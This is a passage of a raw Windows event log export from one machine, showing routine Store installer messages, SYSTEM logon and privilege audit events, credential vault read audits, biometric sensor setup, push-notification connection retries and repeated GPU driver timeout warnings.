onecoreuap\\enduser\\winstore\\installservice\\tasksdll\\logging.cpp (10)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.831\t2006\t\"USO store provider is enabled.\nError: Unknown HResult Error code: 0xefffffff\nFunction: CanUseUsoStoreProvider\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2574)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.874\t265\t1 predictions were fetched for transforms '' and PCRs 7,11. USN: 0, Matching PCRs: 1,2,3,4,5,6,7,8,9,10,11.\tInformation\tMicrosoft-Windows-PCRPF/PCRPF\tMicrosoft-Windows-PCRPF\n05.09.2026 08:36:05.455\t16394\tOffline downlevel migration succeeded.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:36:06.022\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:36:06.022\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:36:06.102\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:36:06.102\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:36:06.125\t8025\tThe Microsoft Passport service started successfully.\t16\tMicrosoft-Windows-HelloForBusiness/Operational\tMicrosoft-Windows-HelloForBusiness\n05.09.2026 08:36:06.132\t5382\t\"Vault credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nThis event occurs when a user reads a stored vault credential.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:36:06.133\t1600\t\"The Windows Biometric Service failed to start its secure component.\n\nReason for unavailability: 76.\n\nThe operation failed with error: 0x80070032.\"\tInformation\tMicrosoft-Windows-Biometrics/Operational\tMicrosoft-Windows-Biometrics\n05.09.2026 08:36:06.153\t1108\t\"The Windows Biometric Service successfully created a Biometric Unit for sensor: Windows Hello Face Virtual Software Device (\\Bootstrap\\Virtual Sensors\\{0527b250-7514-4321-8b68-41c65f956998})\n\nThe sensor's mode is \"\"Basic,\"\" its pool-type is \"\"System,\"\" and it's isolated in a \"\"Local System\"\" process.\n\nSee the \"\"Details\"\" pane for additional information about the sensor's new configuration.\"\tVerbose\tMicrosoft-Windows-Biometrics/Operational\tMicrosoft-Windows-Biometrics\n05.09.2026 08:36:06.158\t1108\t\"The Windows Biometric Service successfully created a Biometric Unit for sensor: Analog NUI Voice Virtual Sensor (\\Voice\\Virtual Sensors\\{F25AB4A2-593A-4A89-B9FF-8144BEA81E15})\n\nThe sensor's mode is \"\"Basic,\"\" its pool-type is \"\"System,\"\" and it's isolated in a \"\"Local System\"\" process.\n\nSee the \"\"Details\"\" pane for additional information about the sensor's new configuration.\"\tVerbose\tMicrosoft-Windows-Biometrics/Operational\tMicrosoft-Windows-Biometrics\n05.09.2026 08:36:06.160\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2194\n\tProcess Name:\t\tC:\\Windows\\System32\\DeviceCensus.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:36:06.168\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Passport Key Storage Provider\n \tKey Name:\tS-1-5-21-3712849175-2219398513-4278588552-1003/37b5cc48-d2d4-4aab-93e7-8e74ef7366bd/login.live.com//8aa0580351688ef0\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090011\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:36:06.169\t5382\t\"Vault credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nThis event occurs when a user reads a stored vault credential.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:36:06.171\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1009\n\tAccount Name:\t\tWsiAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2194\n\tProcess Name:\t\tC:\\Windows\\System32\\DeviceCensus.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:36:06.176\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Passport Key Storage Provider\n \tKey Name:\tS-1-5-21-3712849175-2219398513-4278588552-1003/37b5cc48-d2d4-4aab-93e7-8e74ef7366bd/login.live.com//8aa0580351688ef0\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090011\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:36:06.177\t5382\t\"Vault credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nThis event occurs when a user reads a stored vault credential.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:36:06.209\t5000\t\"TPM Manufacturer: Intel\nVersion: 2.0\nFirmware Version: 700.19.18.2682\nIs Ready: true\"\tInformation\tMicrosoft-Windows-HelloForBusiness/Operational\tMicrosoft-Windows-HelloForBusiness\n05.09.2026 08:36:06.537\t2000\t\"Process Name: C:\\WINDOWS\\system32\\devicecensus.exe\nModule Name: C:\\Windows\\System32\\InstallService.dll\nBuild: 26100.1.amd64fre.ge_release.240331-1435, UBR: 9168\n\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:06.537\t2006\t\"Setting MSA Client Id for Token requests: {f0c62012-2cef-4831-b1f7-930682874c86}\nError: Unspecified error\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (206)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:06.564\t2005\t\"oneSettingsconcurrentDefaultInstalls = 3, oneSettingsconcurrentMinInstalls = 3\nError: Unknown HResult Error code: 0xefffffff\nFunction: GetConcurrentInstallsFromOneSettings\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (763)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:06.571\t2006\t\"request: Microsoft.WindowsStore CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::IsStoreBlockedByPolicyAsync\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\appinstallcontrol.cpp (1995)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:06.572\t2006\t\"result: Microsoft.WindowsStore, CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US, blocked = false\nError: The operation completed successfully.\nFunction: Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::IsStoreBlockedByPolicyAsync::::operator ()\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\appinstallcontrol.cpp (2026)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:11.338\t102\tClipSVC service has shutdown.\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:36:13.069\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:13.508\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:13.508\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:13.509\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:13.509\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:13.783\t6003\t\"\nError Code: Unknown HResult Error code: 0x880403e9\nFunction: \nSource: onecoreuap\\enduser\\winstore\\pushtoinstall\\lib\\wnschannel.cpp (61)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Push-To-Install-Service\n05.09.2026 08:36:13.788\t6004\t\"onecoreuap\\enduser\\winstore\\pushtoinstall\\lib\\wnschannel.cpp(61)\\pushtoinstall.dll!00007FFB9CD77527: (caller: 00007FFB9CD72A54) Exception(1) tid(6f8) 880403E9 \nError Code: Unknown HResult Error code: 0x880403e9\nFunction: \nSource: onecoreuap\\enduser\\winstore\\pushtoinstall\\lib\\service.cpp (293)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Push-To-Install-Service\n05.09.2026 08:36:14.291\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:14.512\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:14.957\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:15.179\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:16.846\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:22.285\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:22.286\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:22.286\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:22.299\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:22.301\t1264\tAdding new user to the Windows Push Notification Service completed. 00180018E4F8342E [DeviceId] 0 [UserId] 0x8004ACB3 [ErrorCode].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:22.301\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:22.301\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:22.301\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:22.315\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:22.319\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:22.351\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:22.357\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:22.357\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:22.417\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:22.572\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:36:22.572\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:36:25.188\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:25.412\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:25.524\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:25.744\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:25.966\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:26.196\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:26.412\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:26.636\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:26.862\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:26.973\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:27.192\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:27.420\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:27.531\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:27.645\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:29.310\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:30.981\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:31.138\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:31.138\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:31.139\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:31.139\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:32.319\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:33.547\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:36.188\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, Win32_DeviceGuard, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 